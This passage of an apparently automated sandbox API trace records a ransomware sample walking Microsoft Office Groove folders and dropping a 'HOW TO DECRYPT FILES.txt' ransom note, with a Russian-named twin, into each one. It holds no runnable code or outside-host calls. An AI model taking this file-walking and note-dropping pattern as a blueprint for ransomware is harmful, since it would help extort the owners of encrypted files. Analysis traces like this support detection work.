lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2" [0064.705] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.718] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0064.719] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0064.719] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0064.719] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0064.719] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0064.719] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.719] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="background.gif") returned 1 [0064.719] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="background.gif") returned 1 [0064.719] lstrcmpiA (lpString1="", lpString2="background.gif") returned -1 [0064.719] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*.*") returned="*.*" [0064.719] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" [0064.719] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="" [0064.719] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" [0064.719] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\how to decrypt files.txt")) returned 0xffffffff [0064.719] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0064.725] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0064.726] CloseHandle (hObject=0xa0) returned 1 [0064.726] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="background.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" [0064.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0064.727] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.727] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HEADER.GIF") returned -1 [0064.727] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HEADER.GIF") returned 1 [0064.727] lstrcmpiA (lpString1="", lpString2="HEADER.GIF") returned -1 [0064.727] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif") returned="background.gif" [0064.727] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" [0064.727] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="" [0064.727] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" [0064.727] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\how to decrypt files.txt")) returned 0x20 [0064.727] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="HEADER.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF" [0064.727] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0064.728] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TAB_OFF.GIF") returned -1 [0064.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TAB_OFF.GIF") returned -1 [0064.728] lstrcmpiA (lpString1="", lpString2="TAB_OFF.GIF") returned -1 [0064.728] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF") returned="HEADER.GIF" [0064.728] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" [0064.728] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="" [0064.728] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" [0064.728] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\how to decrypt files.txt")) returned 0x20 [0064.728] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="TAB_OFF.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF" [0064.728] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0064.728] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.728] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TAB_ON.GIF") returned -1 [0064.728] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TAB_ON.GIF") returned -1 [0064.728] lstrcmpiA (lpString1="", lpString2="TAB_ON.GIF") returned -1 [0064.729] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF") returned="TAB_OFF.GIF" [0064.729] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" [0064.729] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\") returned="" [0064.729] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" [0064.729] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\how to decrypt files.txt")) returned 0x20 [0064.729] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\", lpString2="TAB_ON.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF" [0064.729] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac07cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0064.729] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0064.729] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0064.730] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0064.730] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Sts2.css") returned -1 [0064.730] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Sts2.css") returned -1 [0064.730] lstrcmpiA (lpString1="", lpString2="Sts2.css") returned -1 [0064.730] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*.*") returned="*.*" [0064.730] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" [0064.730] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="" [0064.730] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" [0064.730] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to decrypt files.txt")) returned 0x20 [0064.730] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="Sts2.css" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" [0064.730] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="Swirl", cAlternateFileName="")) returned 1 [0064.730] lstrcmpA (lpString1=".", lpString2="Swirl") returned -1 [0064.730] lstrcmpA (lpString1="..", lpString2="Swirl") returned -1 [0064.730] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css") returned="Sts2.css" [0064.730] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="Swirl" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl" [0064.730] FindFirstFileA (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f0d0, dwReserved1=0x4f83a6, cFileName=".", cAlternateFileName="")) returned 0x502598 [0064.732] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0064.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0064.732] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0064.732] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0064.732] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0064.732] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.732] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="background.gif") returned 1 [0064.732] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="background.gif") returned 1 [0064.732] lstrcmpiA (lpString1="", lpString2="background.gif") returned -1 [0064.732] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*.*") returned="*.*" [0064.733] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" [0064.733] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\") returned="" [0064.733] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" [0064.733] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\how to decrypt files.txt")) returned 0xffffffff [0064.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa0 [0064.737] SetFileTime (hFile=0xa0, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0064.737] CloseHandle (hObject=0xa0) returned 1 [0064.737] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\", lpString2="background.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif" [0064.738] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0064.738] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.738] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HEADER.GIF") returned -1 [0064.738] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HEADER.GIF") returned 1 [0064.738] lstrcmpiA (lpString1="", lpString2="HEADER.GIF") returned -1 [0064.738] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif") returned="background.gif" [0064.738] lstrcpyA (in: 